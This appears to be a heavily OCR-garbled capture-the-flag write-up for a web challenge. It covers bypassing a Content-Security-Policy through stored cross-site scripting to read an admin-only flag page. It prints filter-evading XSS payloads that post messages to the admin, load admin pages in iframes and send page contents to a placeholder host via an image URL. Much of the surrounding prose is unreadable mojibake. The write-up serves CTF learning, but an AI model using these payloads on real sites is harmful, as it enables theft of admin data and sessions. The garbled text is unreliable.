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WMARRXEER , BIHENNEFH api/getmessage. php o
HpZid Mwaf R E R ERKXEF on, img, script , £ scrscriptipt WELIT,
/user .php fE AR Badminlk SHIXSSHE A = , T —/=ECSP :

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src 'self' 'unsafe-inline';

BRHMERN BiframeizBNE,

B —Xiz2ladminfy api/getmessage.php TNTEIAZR.

<li class="list-group-item">Wow, good guys,maybe you want \/adminshigesha233e3333

1518] /adminshigesha233e3333

Hello, maybe something in flag.php

4k4Fif(a) /adminshigesha233e3333/flag. php

hello, hacker, only admin can see it

YFIEFRATRAXSSHk L%

nothing here,q(9-')r,what ever you try, only from adminshigesha233e3333 can read it...

ERiREixEreferer , 11T —ER{LHT

var referLink = w.document.createElement('a');

referLink.href = 'http://52.80.63.91/adminshigesha233e3333/flag.php';
w.document.body.appendChild(referLink);
referLink.click();

R#&ix3flag
"pet_data": {

"flag": "flag is here pwnhub{flag [8] Z &K KD avi} <a href="http:\/52.80.63.91Vadminshigesha233e3333Vflag php"=<a>"
1

5E¥payload

<scrscriptipt>

$.post("api/addmessage.php", {to: "admin",message: decodeURICompoonnent(" {{ZwMB/EHI—KE}}
"), 3}, functioonn(result){

var ifp = document.createElement('iframe');

ifp.setAttribute('src', 'api/getmessage.php');

ifp.setAttribute('id', 'pi2'");

document.body.appendChild(ifp);
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</scrscriptipt>

LE4mELat

<scrscriptipt>

var pro = document.createElement('iframe');
pro.setAttribute('src', '../adminshigesha233e3333/');
pro.setAttribute('id', 'pi');
document.body.appendChild(pro);

pro.oonnload = functioonn() {
var w = document.getElementById('pi').coonntentWindow;
var referLink = w.document.createElement('a');
referLink.href = 'http://52.80.63.91/adminshigesha233e3333/flag.php"';
w.document.body.appendChild(referLink);
referLink.click();

var w2 = document.getElementById('pi2').coonntentWindow;
w2.document.createElement('imimgg').src="http://xxx/?
flag="+document.getElementById('pi').coonntentWindow.document.body.innerHTML;

}

</scrscriptipt>
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